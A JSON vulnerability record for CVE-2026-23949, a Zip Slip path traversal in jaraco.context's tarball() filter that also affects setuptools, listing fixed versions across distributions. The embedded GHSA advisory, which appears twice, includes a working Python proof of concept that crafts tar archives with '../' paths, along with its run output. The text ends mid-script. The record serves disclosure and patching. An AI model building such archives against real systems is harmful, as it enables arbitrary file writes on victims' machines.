{"id":"CVE-2026-23949","aliases":["CLSA-2026-1772496730","DEBIAN-CVE-2026-23949","EUVD-2026-3592","GHSA-58pv-8j8x-9vj2","PYSEC-2026-1469","ROOT-APP-PYPI-CVE-2026-23949","ROOT-APP-PYPI-GHSA-58pv-8j8x-9vj2","ROOT-OS-DEBIAN-13-CVE-2026-23949","SUSE-SU-2026:20139-1","UBUNTU-CVE-2026-23949","USN-7979-1","openSUSE-SU-2026:10077-1","openSUSE-SU-2026:20095-1"],"status":"published","title":"jaraco.context Has a Path Traversal Vulnerability","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00632,"percentile":0.50621,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-01-13T21:48:17Z","modified":"2026-10-29T08:15:04Z","fixes":[{"ecosystem":"PyPI","package":"jaraco-context","fixed_in":["6.1.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:PyPI","package":"jaraco-context","fixed_in":["5.3.0.post1+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"jaraco.context","fixed_in":["6.0.1-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"jaraco.context","fixed_in":["6.0.1-2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"setuptools","fixed_in":["84.0.0-2"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"jaraco.context","fixed_in":["5.3.0+aikido.4","6.0.1+aikido.3","5.3.0+aikido.5","5.3.0+aikido.6","5.3.0+aikido.7","5.3.0+aikido.8"],"sources":["osv"]},{"ecosystem":"Root:Debian:13","package":"setuptools","fixed_in":["78.1.1-0.1.root.io.1","78.1.1-0.1.aikido.2"],"sources":["osv"]},{"ecosystem":"Root:Debian:13","package":"rootio-setuptools","fixed_in":["78.1.1-0.1.root.io.1","78.1.1-0.1.aikido.2"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-jaraco.context","fixed_in":["5.3.0-160000.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-jaraco.context","fixed_in":["5.3.0-160000.3.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:25.10","package":"jaraco.context","fixed_in":["6.0.1-1ubuntu0.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-jaraco.context","fixed_in":["6.1.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-jaraco.context","fixed_in":["5.3.0-160000.3.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"jaraco-context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"6.1.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"jaraco-context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.3.0"},{"fixed":"5.3.0.post1+tuxcare"}]}],"versions":["5.3.0"]},{"source":"osv","ecosystem":"Debian:13","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.1-1+deb13u1"}]}],"versions":["6.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.1-2"}]}],"versions":["6.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"setuptools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["78.1.1-0.1","79.0.0-1","80.1.0-1","80.9.0-1","80.9.0-2","84.0.0-1","84.0.0-2","84.2.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"setuptools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"84.0.0-2"}]}],"versions":["78.1.1-0.1","79.0.0-1","80.1.0-1","80.9.0-1","80.9.0-2","84.0.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"jaraco-context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"6.1.0"}]}],"versions":["5.2.0","5.3.0","6.0.0","6.0.1","6.0.2"]},{"source":"osv","ecosystem":"PyPI","package":"jaraco-context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"6.1.0"}]}],"versions":["5.2.0","5.3.0","6.0.0","6.0.1","6.0.2"]},{"source":"osv","ecosystem":"Root:PyPI","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0+aikido.4"},{"fixed":"6.0.1+aikido.3"},{"fixed":"5.3.0+aikido.5"},{"fixed":"5.3.0+aikido.6"},{"fixed":"5.3.0+aikido.7"},{"fixed":"5.3.0+aikido.8"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0+aikido.4"},{"fixed":"5.3.0+aikido.5"},{"fixed":"5.3.0+aikido.6"},{"fixed":"5.3.0+aikido.7"},{"fixed":"5.3.0+aikido.8"}]}]},{"source":"osv","ecosystem":"Root:Debian:13","package":"setuptools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"78.1.1-0.1.root.io.1"},{"fixed":"78.1.1-0.1.aikido.2"}]}]},{"source":"osv","ecosystem":"Root:Debian:13","package":"rootio-setuptools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"78.1.1-0.1.root.io.1"},{"fixed":"78.1.1-0.1.aikido.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0-160000.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0-160000.3.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.1-1ubuntu0.1"}]}],"versions":["6.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.1-1ubuntu0.1"}]}],"versions":["6.0.1-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-jaraco.context","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.0-160000.3.1"}]}]}],"products":[{"vendor":"jaraco","product":"jaraco.context"}],"references":[{"url":"https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91","tags":["x_refsource_MISC","Patch","web","report"]},{"url":"https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76","tags":["x_refsource_MISC","Patch","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23949","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-58pv-8j8x-9vj2","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23949.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-23949","tags":["advisory"]},{"url":"https://github.com/jaraco/jaraco.context","tags":["package"]},{"url":"https://pypi.org/project/jaraco-context","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202620139-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1256954","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23949","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-23949","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23949","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7979-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-23949","title":"jaraco.context Has a Path Traversal Vulnerability","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T00:36:23.777Z","modified":"2026-01-20T17:02:50.613Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:42:15.603999Z"}],"euvd":[{"id":"EUVD-2026-3592","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T00:36:23Z","modified":"2026-01-20T17:02:50Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:49.964072Z"}],"ghsa":[{"id":"GHSA-58pv-8j8x-9vj2","title":"jaraco.context Has a Path Traversal Vulnerability","description":"### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python \u003c 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n\u003cimg width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" /\u003e\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() \u003e req = urlopen(url) \u003e with tarfile.open(fileobj=req, mode='r|*') as tf: \u003e tf.extractall(path=target_dir, filter=strip_first_component) \u003e strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions \u003e 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n    tar_data = io.BytesIO()\n    with tarfile.open(fileobj=tar_data, mode='w') as tar:\n        # Create a malicious file path with traversal sequences\n        malicious_files = [\n            # Attempt 1: Simple traversal to /tmp\n            {\n                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n                'name': 'pwned_via_tmp'\n            },\n            # Attempt 2: Try to write to home directory\n            {\n                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n                'content': b'[ZIPSLIP] Attempted write to home directory',\n                'name': 'pwned_via_home'\n            },\n            # Attempt 3: Try to write to current directory parent\n            {\n                'path': 'dummy_dir/../escaped.txt',\n                'content': b'[ZIPSLIP] File in parent directory!',\n                'name': 'pwned_escaped'\n            },\n            # Attempt 4: Legitimate file for comparison\n            {\n                'path': 'dummy_dir/legitimate_file.txt',\n                'content': b'This file stays in target directory',\n                'name': 'legitimate'\n            }\n        ]\n        for file_info in malicious_files:\n            content = file_info['content']\n            tarinfo = tarfile.TarInfo(name=file_info['path'])\n            tarinfo.size = len(content)\n            tar.addfile(tarinfo, io.BytesIO(content))\n\n    tar_data.seek(0)\n    return tar_data\n\n\ndef exploit_zipslip():\n    print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n    # Create temporary directory for extraction\n    temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n    target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n    try:\n        os.mkdir(target_dir)\n        print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n        target_dir_abs = os.path.abspath(target_dir)\n        print(target_dir_abs)\n        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n        traversal_to_root = \\\"../\\\" * depth_to_root\n        print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n        # Create malicious tarball\n        print(\\\"[*] Creating malicious tar archive...\\\")\n        tar_data = create_malicious_tarball(traversal_to_root)\n\n        try:\n            with tarfile.open(fileobj=tar_data, mode='r') as tf:\n                for member in tf:\n                    # Apply the ACTUAL vulnerable function from setuptools\n                    processed_member = strip_first_component(member, target_dir)\n                    print(f\\\"[*] Extracting: {member.name:40} -\u003e {processed_member.name}\\\")\n\n                    # Extract to target directory\n                    try:\n                        tf.extract(processed_member, path=target_dir)\n                        print(f\\\"    ✓ Extracted successfully\\\")\n                    except (PermissionError, FileNotFoundError, OSError) as e:\n                        print(f\\\"    ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n        except Exception as e:\n            print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n        # Check results\n        print(\\\"[*] Checking for extracted files...\\\")\n\n        # Check target directory\n        print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n        if os.path.exists(target_dir):\n            for root, _, files in os.walk(target_dir):\n                level = root.replace(target_dir, '').count(os.sep)\n                indent = ' ' * 2 * level\n                print(f\\\"{indent}{os.path.basename(root)}/\\\")\n                subindent = ' ' * 2 * (level + 1)\n                for file in files:\n                    filepath = os.path.join(root, file)\n                    try:\n                        with open(filepath, 'r') as f:\n                            content = f.read()[:50]\n                        print(f\\\"{subindent}{file}\\\")\n                        print(f\\\"{subindent}  └─ {content}...\\\")\n                    except:\n                        print(f\\\"{subindent}{file} (binary)\\\")\n        else:\n            print(f\\\"[!] Target directory not found!\\\")\n\n        print()\n        print(\\\"[*] Checking for traversal attempts...\\\")\n        print()\n\n        # Check if files escaped\n        traversal_attempts = [\n            (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n            (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n            (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n        ]\n\n        escaped = False\n        for check_path, description in traversal_attempts:\n            if os.path.exists(check_path):\n                print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n                print(f\\\"      File created at: {check_path}\\\")\n                try:\n                    with open(check_path, 'r') as f:\n                        content = f.read()\n                    print(f\\\"      Content: {content}\\\")\n                    print(f\\\"      Removing: {check_path}\\\")\n                    os.remove(check_path)\n                except Exception as e:\n                    print(f\\\"      Error reading: {e}\\\")\n                escaped = True\n            else:\n                print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n        if escaped:\n            print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n        else:\n            print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n    finally:\n        # Cleanup\n        print()\n        print(f\\\"[*] Cleaning up: {temp_base}\\\")\n        try:\n            shutil.rmtree(temp_base)\n        except Exception as e:\n            print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n    print(f\\\"[+] Python version: {sys.version}\\\")\n    # Python 3.11.4+ added DEFAULT_FILTER\n    if hasattr(tarfile, 'DEFAULT_FILTER'):\n        print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n    else:\n        print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n    print()\n\n\nif __name__ == \\\"__main__\\\":\n    check_python_version()\n    exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -\u003e ../../tmp/pwned_by_zipslip.txt \n    ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt          -\u003e ../../../../home/pwned_home.txt \n    ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt                           -\u003e ../escaped.txt \n    ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt                      -\u003e legitimate_file.txt \n    ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n  legitimate_file.txt \n    └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n      Content: [ZIPSLIP] File in parent directory! \n      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n  raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```","status":"published","published":"2026-01-13T21:48:17Z","modified":"2026-01-22T22:25:56Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:19.525691Z"}],"nvd":[{"id":"CVE-2026-23949","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T01:15:57.723Z","modified":"2026-06-17T10:22:20.2Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:04.066712Z"}],"osv":[{"id":"CVE-2026-23949","title":"jaraco.context Has a Path Traversal Vulnerability","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T00:36:23.777Z","modified":"2026-10-28T02:30:32.825862456Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"DEBIAN-CVE-2026-23949","description":"jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.","status":"published","published":"2026-01-20T01:15:57.723Z","modified":"2026-10-20T20:00:07.487896675Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-58pv-8j8x-9vj2","title":"jaraco.context Has a Path Traversal Vulnerability","description":"### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python \u003c 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n\u003cimg width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" /\u003e\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() \u003e req = urlopen(url) \u003e with tarfile.open(fileobj=req, mode='r|*') as tf: \u003e tf.extractall(path=target_dir, filter=strip_first_component) \u003e strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions \u003e 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n    tar_data = io.BytesIO()\n    with tarfile.open(fileobj=tar_data, mode='w') as tar:\n        # Create a malicious file path with traversal sequences\n        malicious_files = [\n            # Attempt 1: Simple traversal to /tmp\n            {\n                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n                'name': 'pwned_via_tmp'\n            },\n            # Attempt 2: Try to write to home directory\n            {\n                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n                'content': b'[ZIPSLIP] Attempted write to home directory',\n                'name': 'pwned_via_home'\n            },\n            # Attempt 3: Try to write to current directory parent\n            {\n                'path': 'dummy_dir/../escaped.txt',\n                'content': b'[ZIPSLIP] File in parent directory!',\n                'name': 'pwned_escaped'\n            },\n            # Attempt 4: Legitimate file for comparison\n            {\n                'path': 'dummy_dir/legitimate_file.txt',\n                'content': b'This file stays in target directory',\n                'name': 'legitimate'\n            }\n        ]\n        for file_info in malicious_files:\n            content = file_info['content']\n            tarinfo = tarfile.TarInfo(name=file_info['path'])\n            tarinfo.size = len(content)\n            tar.addfile(tarinfo, io.BytesIO(content))\n\n    tar_data.seek(0)\n    return tar_data\n\n\ndef exploit_zipslip():\n    print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n    # Create temporary directory for extraction\n    temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n    target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n    try:\n        os.mkdir(target_dir)\n        print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n        target_dir_abs = os.path.abspath(target_dir)\n        print(target_dir_abs)\n        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n        traversal_to_root = \\\"../\\\" * depth_to_root\n        print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n        # Create malicious tarball\n        print(\\\"[*] Creating malicious tar archive...\\\")\n        tar_data = create_malicious_tarball(traversal_to_root)\n\n        try:\n            with tarfile.open(fileobj=tar_data, mode='r') as tf:\n                for member in tf:\n                    # Apply the ACTUAL vulnerable function from setuptools\n                    processed_member = strip_first_component(member, target_dir)\n                    print(f\\\"[*] Extracting: {member.name:40} -\u003e {processed_member.name}\\\")\n\n                    # Extract to target directory\n                    try:\n                        tf.extract(processed_member, path=target_dir)\n                        print(f\\\"    ✓ Extracted successfully\\\")\n                    except (PermissionError, FileNotFoundError, OSError) as e:\n                        print(f\\\"    ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n        except Exception as e:\n            print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n        # Check results\n        print(\\\"[*] Checking for extracted files...\\\")\n\n        # Check target directory\n        print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n        if os.path.exists(target_dir):\n            for root, _, files in os.walk(target_dir):\n                level = root.replace(target_dir, '').count(os.sep)\n                indent = ' ' * 2 * level\n                print(f\\\"{indent}{os.path.basename(root)}/\\\")\n                subindent = ' ' * 2 * (level + 1)\n                for file in files:\n                    filepath = os.path.join(root, file)\n                    try:\n                        with open(filepath, 'r') as f:\n                            content = f.read()[:50]\n                        print(f\\\"{subindent}{file}\\\")\n                        print(f\\\"{subindent}  └─ {content}...\\\")\n                    except:\n                        